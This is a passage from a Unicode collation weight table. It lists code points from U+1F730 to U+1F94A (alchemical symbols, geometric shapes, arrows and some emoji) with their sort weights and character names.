[*1711.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR OF ANTIMONY -1F730 ; [*1712.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY -1F731 ; [*1713.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY-2 -1F732 ; [*1714.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS -1F733 ; [*1715.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-2 -1F734 ; [*1716.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-3 -1F735 ; [*1717.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-4 -1F736 ; [*1718.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI -1F737 ; [*1719.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI-2 -1F738 ; [*171A.0020.0002] # ALCHEMICAL SYMBOL FOR MARCASITE -1F739 ; [*171B.0020.0002] # ALCHEMICAL SYMBOL FOR SAL-AMMONIAC -1F73A ; [*171C.0020.0002] # ALCHEMICAL SYMBOL FOR ARSENIC -1F73B ; [*171D.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR -1F73C ; [*171E.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR-2 -1F73D ; [*171F.0020.0002] # ALCHEMICAL SYMBOL FOR AURIPIGMENT -1F73E ; [*1720.0020.0002] # ALCHEMICAL SYMBOL FOR BISMUTH ORE -1F73F ; [*1721.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR -1F740 ; [*1722.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR-2 -1F741 ; [*1723.0020.0002] # ALCHEMICAL SYMBOL FOR QUICK LIME -1F742 ; [*1724.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX -1F743 ; [*1725.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-2 -1F744 ; [*1726.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-3 -1F745 ; [*1727.0020.0002] # ALCHEMICAL SYMBOL FOR ALUM -1F746 ; [*1728.0020.0002] # ALCHEMICAL SYMBOL FOR OIL -1F747 ; [*1729.0020.0002] # ALCHEMICAL SYMBOL FOR SPIRIT -1F748 ; [*172A.0020.0002] # ALCHEMICAL SYMBOL FOR TINCTURE -1F749 ; [*172B.0020.0002] # ALCHEMICAL SYMBOL FOR GUM -1F74A ; [*172C.0020.0002] # ALCHEMICAL SYMBOL FOR WAX -1F74B ; [*172D.0020.0002] # ALCHEMICAL SYMBOL FOR POWDER -1F74C ; [*172E.0020.0002] # ALCHEMICAL SYMBOL FOR CALX -1F74D ; [*172F.0020.0002] # ALCHEMICAL SYMBOL FOR TUTTY -1F74E ; [*1730.0020.0002] # ALCHEMICAL SYMBOL FOR CAPUT MORTUUM -1F74F ; [*1731.0020.0002] # ALCHEMICAL SYMBOL FOR SCEPTER OF JOVE -1F750 ; [*1732.0020.0002] # ALCHEMICAL SYMBOL FOR CADUCEUS -1F751 ; [*1733.0020.0002] # ALCHEMICAL SYMBOL FOR TRIDENT -1F752 ; [*1734.0020.0002] # ALCHEMICAL SYMBOL FOR STARRED TRIDENT -1F753 ; [*1735.0020.0002] # ALCHEMICAL SYMBOL FOR LODESTONE -1F754 ; [*1736.0020.0002] # ALCHEMICAL SYMBOL FOR SOAP -1F755 ; [*1737.0020.0002] # ALCHEMICAL SYMBOL FOR URINE -1F756 ; [*1738.0020.0002] # ALCHEMICAL SYMBOL FOR HORSE DUNG -1F757 ; [*1739.0020.0002] # ALCHEMICAL SYMBOL FOR ASHES -1F758 ; [*173A.0020.0002] # ALCHEMICAL SYMBOL FOR POT ASHES -1F759 ; [*173B.0020.0002] # ALCHEMICAL SYMBOL FOR BRICK -1F75A ; [*173C.0020.0002] # ALCHEMICAL SYMBOL FOR POWDERED BRICK -1F75B ; [*173D.0020.0002] # ALCHEMICAL SYMBOL FOR AMALGAM -1F75C ; [*173E.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM -1F75D ; [*173F.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM-2 -1F75E ; [*1740.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATION -1F75F ; [*1741.0020.0002] # ALCHEMICAL SYMBOL FOR PRECIPITATE -1F760 ; [*1742.0020.0002] # ALCHEMICAL SYMBOL FOR DISTILL -1F761 ; [*1743.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE -1F762 ; [*1744.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE-2 -1F763 ; [*1745.0020.0002] # ALCHEMICAL SYMBOL FOR PURIFY -1F764 ; [*1746.0020.0002] # ALCHEMICAL SYMBOL FOR PUTREFACTION -1F765 ; [*1747.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE -1F766 ; [*1748.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-2 -1F767 ; [*1749.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-3 -1F768 ; [*174A.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-4 -1F769 ; [*174B.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-5 -1F76A ; [*174C.0020.0002] # ALCHEMICAL SYMBOL FOR ALEMBIC -1F76B ; [*174D.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF MARY -1F76C ; [*174E.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF VAPOURS -1F76D ; [*174F.0020.0002] # ALCHEMICAL SYMBOL FOR RETORT -1F76E ; [*1750.0020.0002] # ALCHEMICAL SYMBOL FOR HOUR -1F76F ; [*1751.0020.0002] # ALCHEMICAL SYMBOL FOR NIGHT -1F770 ; [*1752.0020.0002] # ALCHEMICAL SYMBOL FOR DAY-NIGHT -1F771 ; [*1753.0020.0002] # ALCHEMICAL SYMBOL FOR MONTH -1F772 ; [*1754.0020.0002] # ALCHEMICAL SYMBOL FOR HALF DRAM -1F773 ; [*1755.0020.0002] # ALCHEMICAL SYMBOL FOR HALF OUNCE -1F780 ; [*1756.0020.0002] # BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE -1F781 ; [*1757.0020.0002] # BLACK UP-POINTING ISOSCELES RIGHT TRIANGLE -1F782 ; [*1758.0020.0002] # BLACK RIGHT-POINTING ISOSCELES RIGHT TRIANGLE -1F783 ; [*1759.0020.0002] # BLACK DOWN-POINTING ISOSCELES RIGHT TRIANGLE -1F784 ; [*175A.0020.0002] # BLACK SLIGHTLY SMALL CIRCLE -1F785 ; [*175B.0020.0002] # MEDIUM BOLD WHITE CIRCLE -1F786 ; [*175C.0020.0002] # BOLD WHITE CIRCLE -1F787 ; [*175D.0020.0002] # HEAVY WHITE CIRCLE -1F788 ; [*175E.0020.0002] # VERY HEAVY WHITE CIRCLE -1F789 ; [*175F.0020.0002] # EXTREMELY HEAVY WHITE CIRCLE -1F78A ; [*1760.0020.0002] # WHITE CIRCLE CONTAINING BLACK SMALL CIRCLE -1F78B ; [*1761.0020.0002] # ROUND TARGET -1F78C ; [*1762.0020.0002] # BLACK TINY SQUARE -1F78D ; [*1763.0020.0002] # BLACK SLIGHTLY SMALL SQUARE -1F78E ; [*1764.0020.0002] # LIGHT WHITE SQUARE -1F78F ; [*1765.0020.0002] # MEDIUM WHITE SQUARE -1F790 ; [*1766.0020.0002] # BOLD WHITE SQUARE -1F791 ; [*1767.0020.0002] # HEAVY WHITE SQUARE -1F792 ; [*1768.0020.0002] # VERY HEAVY WHITE SQUARE -1F793 ; [*1769.0020.0002] # EXTREMELY HEAVY WHITE SQUARE -1F794 ; [*176A.0020.0002] # WHITE SQUARE CONTAINING BLACK VERY SMALL SQUARE -1F795 ; [*176B.0020.0002] # WHITE SQUARE CONTAINING BLACK MEDIUM SQUARE -1F796 ; [*176C.0020.0002] # SQUARE TARGET -1F797 ; [*176D.0020.0002] # BLACK TINY DIAMOND -1F798 ; [*176E.0020.0002] # BLACK VERY SMALL DIAMOND -1F799 ; [*176F.0020.0002] # BLACK MEDIUM SMALL DIAMOND -1F79A ; [*1770.0020.0002] # WHITE DIAMOND CONTAINING BLACK VERY SMALL DIAMOND -1F79B ; [*1771.0020.0002] # WHITE DIAMOND CONTAINING BLACK MEDIUM DIAMOND -1F79C ; [*1772.0020.0002] # DIAMOND TARGET -1F79D ; [*1773.0020.0002] # BLACK TINY LOZENGE -1F79E ; [*1774.0020.0002] # BLACK VERY SMALL LOZENGE -1F79F ; [*1775.0020.0002] # BLACK MEDIUM SMALL LOZENGE -1F7A0 ; [*1776.0020.0002] # WHITE LOZENGE CONTAINING BLACK SMALL LOZENGE -1F7A1 ; [*1777.0020.0002] # THIN GREEK CROSS -1F7A2 ; [*1778.0020.0002] # LIGHT GREEK CROSS -1F7A3 ; [*1779.0020.0002] # MEDIUM GREEK CROSS -1F7A4 ; [*177A.0020.0002] # BOLD GREEK CROSS -1F7A5 ; [*177B.0020.0002] # VERY BOLD GREEK CROSS -1F7A6 ; [*177C.0020.0002] # VERY HEAVY GREEK CROSS -1F7A7 ; [*177D.0020.0002] # EXTREMELY HEAVY GREEK CROSS -1F7A8 ; [*177E.0020.0002] # THIN SALTIRE -1F7A9 ; [*177F.0020.0002] # LIGHT SALTIRE -1F7AA ; [*1780.0020.0002] # MEDIUM SALTIRE -1F7AB ; [*1781.0020.0002] # BOLD SALTIRE -1F7AC ; [*1782.0020.0002] # HEAVY SALTIRE -1F7AD ; [*1783.0020.0002] # VERY HEAVY SALTIRE -1F7AE ; [*1784.0020.0002] # EXTREMELY HEAVY SALTIRE -1F7AF ; [*1785.0020.0002] # LIGHT FIVE SPOKED ASTERISK -1F7B0 ; [*1786.0020.0002] # MEDIUM FIVE SPOKED ASTERISK -1F7B1 ; [*1787.0020.0002] # BOLD FIVE SPOKED ASTERISK -1F7B2 ; [*1788.0020.0002] # HEAVY FIVE SPOKED ASTERISK -1F7B3 ; [*1789.0020.0002] # VERY HEAVY FIVE SPOKED ASTERISK -1F7B4 ; [*178A.0020.0002] # EXTREMELY HEAVY FIVE SPOKED ASTERISK -1F7B5 ; [*178B.0020.0002] # LIGHT SIX SPOKED ASTERISK -1F7B6 ; [*178C.0020.0002] # MEDIUM SIX SPOKED ASTERISK -1F7B7 ; [*178D.0020.0002] # BOLD SIX SPOKED ASTERISK -1F7B8 ; [*178E.0020.0002] # HEAVY SIX SPOKED ASTERISK -1F7B9 ; [*178F.0020.0002] # VERY HEAVY SIX SPOKED ASTERISK -1F7BA ; [*1790.0020.0002] # EXTREMELY HEAVY SIX SPOKED ASTERISK -1F7BB ; [*1791.0020.0002] # LIGHT EIGHT SPOKED ASTERISK -1F7BC ; [*1792.0020.0002] # MEDIUM EIGHT SPOKED ASTERISK -1F7BD ; [*1793.0020.0002] # BOLD EIGHT SPOKED ASTERISK -1F7BE ; [*1794.0020.0002] # HEAVY EIGHT SPOKED ASTERISK -1F7BF ; [*1795.0020.0002] # VERY HEAVY EIGHT SPOKED ASTERISK -1F7C0 ; [*1796.0020.0002] # LIGHT THREE POINTED BLACK STAR -1F7C1 ; [*1797.0020.0002] # MEDIUM THREE POINTED BLACK STAR -1F7C2 ; [*1798.0020.0002] # THREE POINTED BLACK STAR -1F7C3 ; [*1799.0020.0002] # MEDIUM THREE POINTED PINWHEEL STAR -1F7C4 ; [*179A.0020.0002] # LIGHT FOUR POINTED BLACK STAR -1F7C5 ; [*179B.0020.0002] # MEDIUM FOUR POINTED BLACK STAR -1F7C6 ; [*179C.0020.0002] # FOUR POINTED BLACK STAR -1F7C7 ; [*179D.0020.0002] # MEDIUM FOUR POINTED PINWHEEL STAR -1F7C8 ; [*179E.0020.0002] # REVERSE LIGHT FOUR POINTED PINWHEEL STAR -1F7C9 ; [*179F.0020.0002] # LIGHT FIVE POINTED BLACK STAR -1F7CA ; [*17A0.0020.0002] # HEAVY FIVE POINTED BLACK STAR -1F7CB ; [*17A1.0020.0002] # MEDIUM SIX POINTED BLACK STAR -1F7CC ; [*17A2.0020.0002] # HEAVY SIX POINTED BLACK STAR -1F7CD ; [*17A3.0020.0002] # SIX POINTED PINWHEEL STAR -1F7CE ; [*17A4.0020.0002] # MEDIUM EIGHT POINTED BLACK STAR -1F7CF ; [*17A5.0020.0002] # HEAVY EIGHT POINTED BLACK STAR -1F7D0 ; [*17A6.0020.0002] # VERY HEAVY EIGHT POINTED BLACK STAR -1F7D1 ; [*17A7.0020.0002] # HEAVY EIGHT POINTED PINWHEEL STAR -1F7D2 ; [*17A8.0020.0002] # LIGHT TWELVE POINTED BLACK STAR -1F7D3 ; [*17A9.0020.0002] # HEAVY TWELVE POINTED BLACK STAR -1F7D4 ; [*17AA.0020.0002] # HEAVY TWELVE POINTED PINWHEEL STAR -1F800 ; [*17AB.0020.0002] # LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD -1F801 ; [*17AC.0020.0002] # UPWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD -1F802 ; [*17AD.0020.0002] # RIGHTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD -1F803 ; [*17AE.0020.0002] # DOWNWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD -1F804 ; [*17AF.0020.0002] # LEFTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD -1F805 ; [*17B0.0020.0002] # UPWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD -1F806 ; [*17B1.0020.0002] # RIGHTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD -1F807 ; [*17B2.0020.0002] # DOWNWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD -1F808 ; [*17B3.0020.0002] # LEFTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD -1F809 ; [*17B4.0020.0002] # UPWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD -1F80A ; [*17B5.0020.0002] # RIGHTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD -1F80B ; [*17B6.0020.0002] # DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD -1F810 ; [*17B7.0020.0002] # LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD -1F811 ; [*17B8.0020.0002] # UPWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD -1F812 ; [*17B9.0020.0002] # RIGHTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD -1F813 ; [*17BA.0020.0002] # DOWNWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD -1F814 ; [*17BB.0020.0002] # LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F815 ; [*17BC.0020.0002] # UPWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F816 ; [*17BD.0020.0002] # RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F817 ; [*17BE.0020.0002] # DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F818 ; [*17BF.0020.0002] # HEAVY LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F819 ; [*17C0.0020.0002] # HEAVY UPWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F81A ; [*17C1.0020.0002] # HEAVY RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F81B ; [*17C2.0020.0002] # HEAVY DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD -1F81C ; [*17C3.0020.0002] # HEAVY LEFTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD -1F81D ; [*17C4.0020.0002] # HEAVY UPWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD -1F81E ; [*17C5.0020.0002] # HEAVY RIGHTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD -1F81F ; [*17C6.0020.0002] # HEAVY DOWNWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD -1F820 ; [*17C7.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT -1F821 ; [*17C8.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT -1F822 ; [*17C9.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT -1F823 ; [*17CA.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT -1F824 ; [*17CB.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT -1F825 ; [*17CC.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT -1F826 ; [*17CD.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT -1F827 ; [*17CE.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT -1F828 ; [*17CF.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT -1F829 ; [*17D0.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT -1F82A ; [*17D1.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT -1F82B ; [*17D2.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT -1F82C ; [*17D3.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT -1F82D ; [*17D4.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT -1F82E ; [*17D5.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT -1F82F ; [*17D6.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT -1F830 ; [*17D7.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT -1F831 ; [*17D8.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT -1F832 ; [*17D9.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT -1F833 ; [*17DA.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT -1F834 ; [*17DB.0020.0002] # LEFTWARDS FINGER-POST ARROW -1F835 ; [*17DC.0020.0002] # UPWARDS FINGER-POST ARROW -1F836 ; [*17DD.0020.0002] # RIGHTWARDS FINGER-POST ARROW -1F837 ; [*17DE.0020.0002] # DOWNWARDS FINGER-POST ARROW -1F838 ; [*17DF.0020.0002] # LEFTWARDS SQUARED ARROW -1F839 ; [*17E0.0020.0002] # UPWARDS SQUARED ARROW -1F83A ; [*17E1.0020.0002] # RIGHTWARDS SQUARED ARROW -1F83B ; [*17E2.0020.0002] # DOWNWARDS SQUARED ARROW -1F83C ; [*17E3.0020.0002] # LEFTWARDS COMPRESSED ARROW -1F83D ; [*17E4.0020.0002] # UPWARDS COMPRESSED ARROW -1F83E ; [*17E5.0020.0002] # RIGHTWARDS COMPRESSED ARROW -1F83F ; [*17E6.0020.0002] # DOWNWARDS COMPRESSED ARROW -1F840 ; [*17E7.0020.0002] # LEFTWARDS HEAVY COMPRESSED ARROW -1F841 ; [*17E8.0020.0002] # UPWARDS HEAVY COMPRESSED ARROW -1F842 ; [*17E9.0020.0002] # RIGHTWARDS HEAVY COMPRESSED ARROW -1F843 ; [*17EA.0020.0002] # DOWNWARDS HEAVY COMPRESSED ARROW -1F844 ; [*17EB.0020.0002] # LEFTWARDS HEAVY ARROW -1F845 ; [*17EC.0020.0002] # UPWARDS HEAVY ARROW -1F846 ; [*17ED.0020.0002] # RIGHTWARDS HEAVY ARROW -1F847 ; [*17EE.0020.0002] # DOWNWARDS HEAVY ARROW -1F850 ; [*17EF.0020.0002] # LEFTWARDS SANS-SERIF ARROW -1F851 ; [*17F0.0020.0002] # UPWARDS SANS-SERIF ARROW -1F852 ; [*17F1.0020.0002] # RIGHTWARDS SANS-SERIF ARROW -1F853 ; [*17F2.0020.0002] # DOWNWARDS SANS-SERIF ARROW -1F854 ; [*17F3.0020.0002] # NORTH WEST SANS-SERIF ARROW -1F855 ; [*17F4.0020.0002] # NORTH EAST SANS-SERIF ARROW -1F856 ; [*17F5.0020.0002] # SOUTH EAST SANS-SERIF ARROW -1F857 ; [*17F6.0020.0002] # SOUTH WEST SANS-SERIF ARROW -1F858 ; [*17F7.0020.0002] # LEFT RIGHT SANS-SERIF ARROW -1F859 ; [*17F8.0020.0002] # UP DOWN SANS-SERIF ARROW -1F860 ; [*17F9.0020.0002] # WIDE-HEADED LEFTWARDS LIGHT BARB ARROW -1F861 ; [*17FA.0020.0002] # WIDE-HEADED UPWARDS LIGHT BARB ARROW -1F862 ; [*17FB.0020.0002] # WIDE-HEADED RIGHTWARDS LIGHT BARB ARROW -1F863 ; [*17FC.0020.0002] # WIDE-HEADED DOWNWARDS LIGHT BARB ARROW -1F864 ; [*17FD.0020.0002] # WIDE-HEADED NORTH WEST LIGHT BARB ARROW -1F865 ; [*17FE.0020.0002] # WIDE-HEADED NORTH EAST LIGHT BARB ARROW -1F866 ; [*17FF.0020.0002] # WIDE-HEADED SOUTH EAST LIGHT BARB ARROW -1F867 ; [*1800.0020.0002] # WIDE-HEADED SOUTH WEST LIGHT BARB ARROW -1F868 ; [*1801.0020.0002] # WIDE-HEADED LEFTWARDS BARB ARROW -1F869 ; [*1802.0020.0002] # WIDE-HEADED UPWARDS BARB ARROW -1F86A ; [*1803.0020.0002] # WIDE-HEADED RIGHTWARDS BARB ARROW -1F86B ; [*1804.0020.0002] # WIDE-HEADED DOWNWARDS BARB ARROW -1F86C ; [*1805.0020.0002] # WIDE-HEADED NORTH WEST BARB ARROW -1F86D ; [*1806.0020.0002] # WIDE-HEADED NORTH EAST BARB ARROW -1F86E ; [*1807.0020.0002] # WIDE-HEADED SOUTH EAST BARB ARROW -1F86F ; [*1808.0020.0002] # WIDE-HEADED SOUTH WEST BARB ARROW -1F870 ; [*1809.0020.0002] # WIDE-HEADED LEFTWARDS MEDIUM BARB ARROW -1F871 ; [*180A.0020.0002] # WIDE-HEADED UPWARDS MEDIUM BARB ARROW -1F872 ; [*180B.0020.0002] # WIDE-HEADED RIGHTWARDS MEDIUM BARB ARROW -1F873 ; [*180C.0020.0002] # WIDE-HEADED DOWNWARDS MEDIUM BARB ARROW -1F874 ; [*180D.0020.0002] # WIDE-HEADED NORTH WEST MEDIUM BARB ARROW -1F875 ; [*180E.0020.0002] # WIDE-HEADED NORTH EAST MEDIUM BARB ARROW -1F876 ; [*180F.0020.0002] # WIDE-HEADED SOUTH EAST MEDIUM BARB ARROW -1F877 ; [*1810.0020.0002] # WIDE-HEADED SOUTH WEST MEDIUM BARB ARROW -1F878 ; [*1811.0020.0002] # WIDE-HEADED LEFTWARDS HEAVY BARB ARROW -1F879 ; [*1812.0020.0002] # WIDE-HEADED UPWARDS HEAVY BARB ARROW -1F87A ; [*1813.0020.0002] # WIDE-HEADED RIGHTWARDS HEAVY BARB ARROW -1F87B ; [*1814.0020.0002] # WIDE-HEADED DOWNWARDS HEAVY BARB ARROW -1F87C ; [*1815.0020.0002] # WIDE-HEADED NORTH WEST HEAVY BARB ARROW -1F87D ; [*1816.0020.0002] # WIDE-HEADED NORTH EAST HEAVY BARB ARROW -1F87E ; [*1817.0020.0002] # WIDE-HEADED SOUTH EAST HEAVY BARB ARROW -1F87F ; [*1818.0020.0002] # WIDE-HEADED SOUTH WEST HEAVY BARB ARROW -1F880 ; [*1819.0020.0002] # WIDE-HEADED LEFTWARDS VERY HEAVY BARB ARROW -1F881 ; [*181A.0020.0002] # WIDE-HEADED UPWARDS VERY HEAVY BARB ARROW -1F882 ; [*181B.0020.0002] # WIDE-HEADED RIGHTWARDS VERY HEAVY BARB ARROW -1F883 ; [*181C.0020.0002] # WIDE-HEADED DOWNWARDS VERY HEAVY BARB ARROW -1F884 ; [*181D.0020.0002] # WIDE-HEADED NORTH WEST VERY HEAVY BARB ARROW -1F885 ; [*181E.0020.0002] # WIDE-HEADED NORTH EAST VERY HEAVY BARB ARROW -1F886 ; [*181F.0020.0002] # WIDE-HEADED SOUTH EAST VERY HEAVY BARB ARROW -1F887 ; [*1820.0020.0002] # WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW -1F890 ; [*1821.0020.0002] # LEFTWARDS TRIANGLE ARROWHEAD -1F891 ; [*1822.0020.0002] # UPWARDS TRIANGLE ARROWHEAD -1F892 ; [*1823.0020.0002] # RIGHTWARDS TRIANGLE ARROWHEAD -1F893 ; [*1824.0020.0002] # DOWNWARDS TRIANGLE ARROWHEAD -1F894 ; [*1825.0020.0002] # LEFTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD -1F895 ; [*1826.0020.0002] # UPWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD -1F896 ; [*1827.0020.0002] # RIGHTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD -1F897 ; [*1828.0020.0002] # DOWNWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD -1F898 ; [*1829.0020.0002] # LEFTWARDS ARROW WITH NOTCHED TAIL -1F899 ; [*182A.0020.0002] # UPWARDS ARROW WITH NOTCHED TAIL -1F89A ; [*182B.0020.0002] # RIGHTWARDS ARROW WITH NOTCHED TAIL -1F89B ; [*182C.0020.0002] # DOWNWARDS ARROW WITH NOTCHED TAIL -1F89C ; [*182D.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE -1F89D ; [*182E.0020.0002] # HEAVY ARROW SHAFT WIDTH TWO THIRDS -1F89E ; [*182F.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE HALF -1F89F ; [*1830.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE THIRD -1F8A0 ; [*1831.0020.0002] # LEFTWARDS BOTTOM-SHADED WHITE ARROW -1F8A1 ; [*1832.0020.0002] # RIGHTWARDS BOTTOM SHADED WHITE ARROW -1F8A2 ; [*1833.0020.0002] # LEFTWARDS TOP SHADED WHITE ARROW -1F8A3 ; [*1834.0020.0002] # RIGHTWARDS TOP SHADED WHITE ARROW -1F8A4 ; [*1835.0020.0002] # LEFTWARDS LEFT-SHADED WHITE ARROW -1F8A5 ; [*1836.0020.0002] # RIGHTWARDS RIGHT-SHADED WHITE ARROW -1F8A6 ; [*1837.0020.0002] # LEFTWARDS RIGHT-SHADED WHITE ARROW -1F8A7 ; [*1838.0020.0002] # RIGHTWARDS LEFT-SHADED WHITE ARROW -1F8A8 ; [*1839.0020.0002] # LEFTWARDS BACK-TILTED SHADOWED WHITE ARROW -1F8A9 ; [*183A.0020.0002] # RIGHTWARDS BACK-TILTED SHADOWED WHITE ARROW -1F8AA ; [*183B.0020.0002] # LEFTWARDS FRONT-TILTED SHADOWED WHITE ARROW -1F8AB ; [*183C.0020.0002] # RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW -1F8AC ; [*183D.0020.0002] # WHITE ARROW SHAFT WIDTH ONE -1F8AD ; [*183E.0020.0002] # WHITE ARROW SHAFT WIDTH TWO THIRDS -1F910 ; [*15A9.0020.0002] # ZIPPER-MOUTH FACE -1F911 ; [*15AA.0020.0002] # MONEY-MOUTH FACE -1F912 ; [*15AB.0020.0002] # FACE WITH THERMOMETER -1F913 ; [*15AC.0020.0002] # NERD FACE -1F914 ; [*15AD.0020.0002] # THINKING FACE -1F915 ; [*15AE.0020.0002] # FACE WITH HEAD-BANDAGE -1F916 ; [*15AF.0020.0002] # ROBOT FACE -1F917 ; [*15B0.0020.0002] # HUGGING FACE -1F918 ; [*15B1.0020.0002] # SIGN OF THE HORNS -1F919 ; [*15B2.0020.0002] # CALL ME HAND -1F91A ; [*15B3.0020.0002] # RAISED BACK OF HAND -1F91B ; [*15B4.0020.0002] # LEFT-FACING FIST -1F91C ; [*15B5.0020.0002] # RIGHT-FACING FIST -1F91D ; [*15B6.0020.0002] # HANDSHAKE -1F91E ; [*15B7.0020.0002] # HAND WITH INDEX AND MIDDLE FINGERS CROSSED -1F920 ; [*15B8.0020.0002] # FACE WITH COWBOY HAT -1F921 ; [*15B9.0020.0002] # CLOWN FACE -1F922 ; [*15BA.0020.0002] # NAUSEATED FACE -1F923 ; [*15BB.0020.0002] # ROLLING ON THE FLOOR LAUGHING -1F924 ; [*15BC.0020.0002] # DROOLING FACE -1F925 ; [*15BD.0020.0002] # LYING FACE -1F926 ; [*15BE.0020.0002] # FACE PALM -1F927 ; [*15BF.0020.0002] # SNEEZING FACE -1F930 ; [*15C0.0020.0002] # PREGNANT WOMAN -1F933 ; [*15C1.0020.0002] # SELFIE -1F934 ; [*15C2.0020.0002] # PRINCE -1F935 ; [*15C3.0020.0002] # MAN IN TUXEDO -1F936 ; [*15C4.0020.0002] # MOTHER CHRISTMAS -1F937 ; [*15C5.0020.0002] # SHRUG -1F938 ; [*15C6.0020.0002] # PERSON DOING CARTWHEEL -1F939 ; [*15C7.0020.0002] # JUGGLING -1F93A ; [*15C8.0020.0002] # FENCER -1F93B ; [*15C9.0020.0002] # MODERN PENTATHLON -1F93C ; [*15CA.0020.0002] # WRESTLERS -1F93D ; [*15CB.0020.0002] # WATER POLO -1F93E ; [*15CC.0020.0002] # HANDBALL -1F940 ; [*15CD.0020.0002] # WILTED FLOWER -1F941 ; [*15CE.0020.0002] # DRUM WITH DRUMSTICKS -1F942 ; [*15CF.0020.0002] # CLINKING GLASSES -1F943 ; [*15D0.0020.0002] # TUMBLER GLASS -1F944 ; [*15D1.0020.0002] # SPOON -1F945 ; [*15D2.0020.0002] # GOAL NET -1F946 ; [*15D3.0020.0002] # RIFLE -1F947 ; [*15D4.0020.0002] # FIRST PLACE MEDAL -1F948 ; [*15D5.0020.0002] # SECOND PLACE MEDAL -1F949 ; [*15D6.0020.0002] # THIRD PLACE MEDAL -1F94A ; 